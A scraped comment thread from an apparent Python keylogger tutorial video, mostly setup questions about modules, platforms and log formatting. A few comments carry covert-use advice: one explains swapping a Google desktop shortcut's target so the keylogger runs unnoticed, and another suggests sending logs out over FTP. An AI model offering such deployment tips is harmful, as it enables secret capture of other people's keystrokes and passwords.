    • @omar_rrr
      @omar_rrr 7 ปีที่แล้ว

      Or if you want it to run when somebody opens google, right-click on Google in your desktop, go to properties.
      In properties search for "Target:". Change the value in target to the location of the keylogger file.
      Then search for "Start in:"
      Put the location of the folder where the keylogger is found. I hope it helps.

  • @notyourbusiness5530
    @notyourbusiness5530 7 ปีที่แล้ว

    What module would you use if you were using Linux instead Windows?

  • @linkisbeast117
    @linkisbeast117 10 ปีที่แล้ว

    What should I start with C++ or Python?

  • @vardikar270
    @vardikar270 8 ปีที่แล้ว

    hope you're still making videos your videos make a lot of sense to me thank you!

  • @spacewizard1616
    @spacewizard1616 7 ปีที่แล้ว

    I'm running python on Mac, after I coded the key logger, how do I run it? Where do I access the information it is gathering? Thank you

  • @SaiyanParmos
    @SaiyanParmos 8 ปีที่แล้ว

    So would this work with cut and paste? If now how would we add this function?

  • @Xhizorsization
    @Xhizorsization 9 ปีที่แล้ว

    What version of python has all these modules ? pip does not work with 3.4

  • @ccolbert323
    @ccolbert323 8 ปีที่แล้ว

    All works great, except when I open the 'log_file' (log.txt), all of the keyboard captures are being printed in a single column vertically....how can I change this so the keyboard captures are written to the file as the normally would be -- horizontally, line by line?? Thanks

  • @Iamdredofficial
    @Iamdredofficial 9 ปีที่แล้ว +2

    how do you install pyhook module in Linux? not windows platform.. help?

    • @garrettsnearly5654
      @garrettsnearly5654 5 ปีที่แล้ว

      If you have debion then try sudo pip install pyhook or if you are not root try pip install pyhook

  • @insidetrip101
    @insidetrip101 7 ปีที่แล้ว

    but since you programmed it from python, you need to have python on whatever machine you're trying to run it on correct?

  • @nicman4394
    @nicman4394 9 ปีที่แล้ว

    Would it be possible to make the words horizontal?

  • @ConstructSC
    @ConstructSC 8 ปีที่แล้ว

    Is there anyway to change it from giving the output in notepad 1 line at a time?

  • @durveshbhole9
    @durveshbhole9 7 ปีที่แล้ว

    Does this program needs python environment setup on the target computer ?

  • @justaskyourmother
    @justaskyourmother 9 ปีที่แล้ว

    I've done everything correct. I just dont know where my keystrokes are being logged at? Am I supposed to make a file or something to where the keystrokes are being recorded or where do I find out where they are being recorded at if there is already a file?

  • @lunarinsomnia4688
    @lunarinsomnia4688 2 ปีที่แล้ว

    What is the version of Python used in this video?

  • @kekblob
    @kekblob 7 ปีที่แล้ว

    Would the other computer need python on it as well?????

  • @Dylan-fk1do
    @Dylan-fk1do 8 ปีที่แล้ว

    My text file is not picking up the correct keys. it looks like "[]" and other Ascii symobls.. Is it my keyboard encrypting the keys?

  • @AnnunakisReturn
    @AnnunakisReturn 8 ปีที่แล้ว

    hey thinker where did you learn to code like this - or how / training books? - to be able to code like a black hat? been watching a few tutorials online about it not from your channel but so far only teaching me how to add intergers together... is about as dept as the other tutorials go. i need some direction can you help please

  • @LucasMartinsa7x
    @LucasMartinsa7x 8 ปีที่แล้ว +7

    Does anyone know how to save the data in cloud?

    • @s0lanav
      @s0lanav 8 ปีที่แล้ว +2

      If you want to upload the logs to the cloud you can use ftp with a public server or with your own if you know how to open ports.

  • @TwoFootTerrorj4ckf
    @TwoFootTerrorj4ckf 9 ปีที่แล้ว

    does this work for mac aswell without the windows module obviously?

  • @mpixl9965
    @mpixl9965 7 ปีที่แล้ว

    So, my parents put a limit on my account, so if the put in "15:00 - 16:00" i can play from 15:00 to 16:00, if i can get them to change that limit for Some reason and log that program onto python, would i be able to get into that program whenever i want??

  • @stevenroux124
    @stevenroux124 7 ปีที่แล้ว

    Im getting this error, Im confused because I already installed this module...
    Traceback (most recent call last):
    File "C:/Users/Gel Douche/Desktop/Keylogger.py", line 1, in
    import win32api
    ImportError: DLL load failed: The specified module could not be found.

  • @benjenkins7010
    @benjenkins7010 7 ปีที่แล้ว

    What is the symbol on line 6 before "(message)"?

  • @haydenashby3848
    @haydenashby3848 7 ปีที่แล้ว

    Would it be possible to make it work for iOS devices?

  • @OtisPown
    @OtisPown 10 ปีที่แล้ว

    Can I get the keylogger to start once I insert a flash drive?

  • @charbelsarkis3567
    @charbelsarkis3567 6 ปีที่แล้ว

    Will it run in the background

  • @finallyfree6725
    @finallyfree6725 6 ปีที่แล้ว

    Should I learn python or c++?

  • @grossbahn863
    @grossbahn863 8 ปีที่แล้ว

    Will the target system run the keylogger if python is not installed ?

  • @th3m1n37
    @th3m1n37 4 ปีที่แล้ว

    Have I to Download these Modules? Cause my IDLE says that there are no Modules called like them

  • @niteshashok9941
    @niteshashok9941 6 ปีที่แล้ว

    Special characters are not getting logged.. any idea why ?

  • @ITomocska
    @ITomocska 9 ปีที่แล้ว

    Is tzhere any way to log the keys not vertically?

  • @levi7571
    @levi7571 8 ปีที่แล้ว +2

    how do i stop it because i cant see the changes to log.txt when the keylogger is running